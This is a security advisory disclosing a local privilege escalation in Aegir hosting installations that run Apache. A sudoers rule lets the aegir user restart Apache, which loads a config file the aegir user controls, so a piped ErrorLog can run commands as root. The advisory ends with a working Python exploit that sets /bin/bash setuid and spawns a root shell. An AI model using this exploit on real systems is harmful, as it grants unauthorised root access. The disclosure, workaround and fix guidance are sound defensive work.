SSD Advisory – Aegir with Apache LPE

TL;DR

Find out how we exploited a behavior of Apache while using the limited rights of Aegir user to gain root access.

Vulnerability Summary

Aegir is a free and open source Unix based web hosting control panel
program for Application lifecycle management that provides a graphical interface designed to simplify deploying and managing Drupal, WordPress and CiviCRM Web sites.

When installing Aegir using official packages, the script aegir3-provision.postinst installs an unsafe sudoer rule, allowing to elevate privileges from the user aegir to root.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Aegir installations running under Apache

Unaffected Systems

Aegir installations running under Nginx

Vendor Response

The vendor released a statement, https://www.drupal.org/sa-contrib-2020-031, that the user aegir should not be used by any untrusted user as well as that customers should migrate to an Nginx setup (which is now the default) to prevent such attacks from being possible.

Vulnerability Analysis

During the installation of the package aegir3-provision, the script
aegir3-provision.postinst will create a sudo configuration file in
/etc/sudoers.d/aegir:

if [ -d /etc/sudoers.d ]; then
  ucf --debconf-ok /usr/share/drush/commands/provision/example.sudoers /etc/sudoers.d/aegir
  ucfr aegir-provision /etc/sudoers.d/aegir
  chmod 440 /etc/sudoers.d/aegir
else
  echo "running an older version of sudo"
  echo "copy content of /usr/share/drush/commands/provision/example.sudoers into /etc/sudoers for aegir to run properly"
fi

This file allows the user aegir to call /usr/sbin/apache2ctl (the
reference to /etc/init.d/nginx is not relevant here, as the package is not installed by default):

aegir ALL=NOPASSWD: /usr/sbin/apache2ctl
aegir ALL=NOPASSWD: /etc/init.d/nginx

This way, the user aegir can reload apache2‘s configuration to support
new virtual hosts. Part of this configuration is loaded from aegir‘s home
directory, as aegir3-provision.postinst creates a symbolic link between
/var/aegir/config/apache.conf and /etc/apache2/conf-enabled/aegir.conf:

case $WEBSERVER in
apache)
  if [ -d /etc/apache2/conf-enabled ]; then
    # Apache 2.4
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf-enabled/aegir.conf
  else
    # Apache 2.2
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf.d/aegir.conf
  fi
  a2enmod ssl rewrite
  apache2ctl graceful
;;

However, configuration files can declare dynamic libraries to be loaded by
the HTTP server and also external error loggers. As described in
the documentation:

Piped log processes are spawned by the parent Apache httpd process, and inherit the userid of that process. This means that piped log programs usually run as root.

https://httpd.apache.org/docs/2.4/en/logs.html#piped

By modifying /var/aegir/config/apache.conf to declare a custom ErrorLog,
and then reloading the apache2 configuration using sudo /usr/sbin/apache2ctl restart, it will be possible to execute arbitrary commands as root.

As /usr/sbin/apache2ctl can also accept various flags to declare additional
configuration directives and write to arbitrary files, other ways to elevate
privileges may exist.

Temporary workaround

Remove the file /etc/sudoers.d/aegir. As Aegir will not be able to reload
the configuration of apache2, new hosts created on the interface will not
be reachable before a manual reload.

Fix (Unofficial)

The following changes could be implemented to prevent the privilege
escalation:

  • Deploying apache2 as an unprivileged service to be started as root, but
  • with the capability CAP_NET_BIND_SERVICE.
  • Using vhost_dbd_module to declare virtual hosts in a database, removing the need of loading apache2 configuration files from aegir‘s home directory.
  • Using a custom service to convert a set of ini files declaring virtual hosts and writing them into /etc/apache2. The user aegir would only be allowed to edit these files, start the conversion process and reload apache2.

Demo

Exploit

#/usr/bin/python2.7
import sys
import os
COMMAND='/usr/bin/chmod +s /bin/bash'
SUDO_RELOAD='/usr/bin/sudo /usr/sbin/apache2ctl restart'
APACHE_CONFIG='/var/aegir/config/apache.conf'
if not COMMAND and len(sys.argv) != 2:
  print 'Usage: python2.7 {} <command>'.format(sys.argv[0])
  sys.exit(1)
with open(APACHE_CONFIG, 'a+') as f:
  cmd = sys.argv[1] if not COMMAND else COMMAND
  f.write('''
<VirtualHost *:80>
DocumentRoot /var/www/
ErrorLog "|{}"
</VirtualHost>
'''.format(cmd.replace('"', '\"')))
os.system(SUDO_RELOAD)
os.execvp('bash', ['bash', '-p'])

?

Get in touch